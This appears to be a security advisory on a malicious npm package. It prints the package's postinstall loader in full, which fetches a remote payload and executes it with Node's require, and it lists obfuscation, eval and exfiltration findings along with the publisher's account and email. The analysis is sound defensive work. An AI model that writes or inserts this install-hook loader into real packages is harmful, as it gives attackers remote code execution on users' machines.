GCVE-110-OSM-2026-9802

The entrypoint file `dist/module.js`, executed unconditionally via `postinstall: node dist/module.js`, contains a literal remote-code-execution loader: `https.get("url", {rejectUnauthorized: false}, res => res.on("data", data => {const handler = new Function('require', data.toString())(require);}))`. This fetches an arbitrary payload from an attacker-controlled Vercel endpoint and executes it with full Node.js `require` access, giving the remote payload unrestricted filesystem, network, and process capabilities. This is a textbook supply-chain attack: install-hook → remote fetch → eval-with-require. The publisher account (buzzigood / BuzziGoodin371@hotmail.com) has zero other packages and no linked repository, consistent with a throwaway account created for this campaign. The dependency `debug` is also independently flagged as known malicious, suggesting intentional poisoning of the dependency graph. The polyfill bundle appears copied from legitimate sources as cover. ENTRY dist/module.js (install-hook: node dist/module.js) - Install Hook Executes Local JS File in package.json DESTINATION - 67 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Data Encoding for Exfiltration in dist/es/polyfills.js: "encodeURIComponent(stringifyPrimitive(k)) + eq;\n if (isArray(obj[k])) {\n retur..." - Dynamic C2 Endpoint Construction in dist/es/polyfills.js: "function blobConstructor() {\n if (typeof _blobConstructor !== 'undefined') {\n ..." - Data Encoding for Exfiltration in dist/polyfills.js: "encodeURIComponent(stringifyPrimitive(k)) + eq;\n if (isArray(obj[k])) {\n retur..." - Dynamic C2 Endpoint Construction in dist/polyfills.js: "function blobConstructor() {\n if (typeof _blobConstructor !== 'undefined') {\n ..." - Network Request in dist/module.js: "https.get(" OBFUSCATION - Obfuscation patterns: charCodeArrayBuild, charCodeChain in dist/es/polyfills.js - Obfuscation patterns: charCodeArrayBuild, charCodeChain in dist/polyfills.js ADDITIONAL FINDINGS - Dynamic Code Execution in dist/es/polyfills.js: "eval(code)" - XOR-Encoded String Arrays in dist/es/polyfills.js: "var bl_order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15..." - Malicious Dependency Detected in package.json PAYLOAD FILES dist/es/polyfills.js (+ dist/polyfills.js)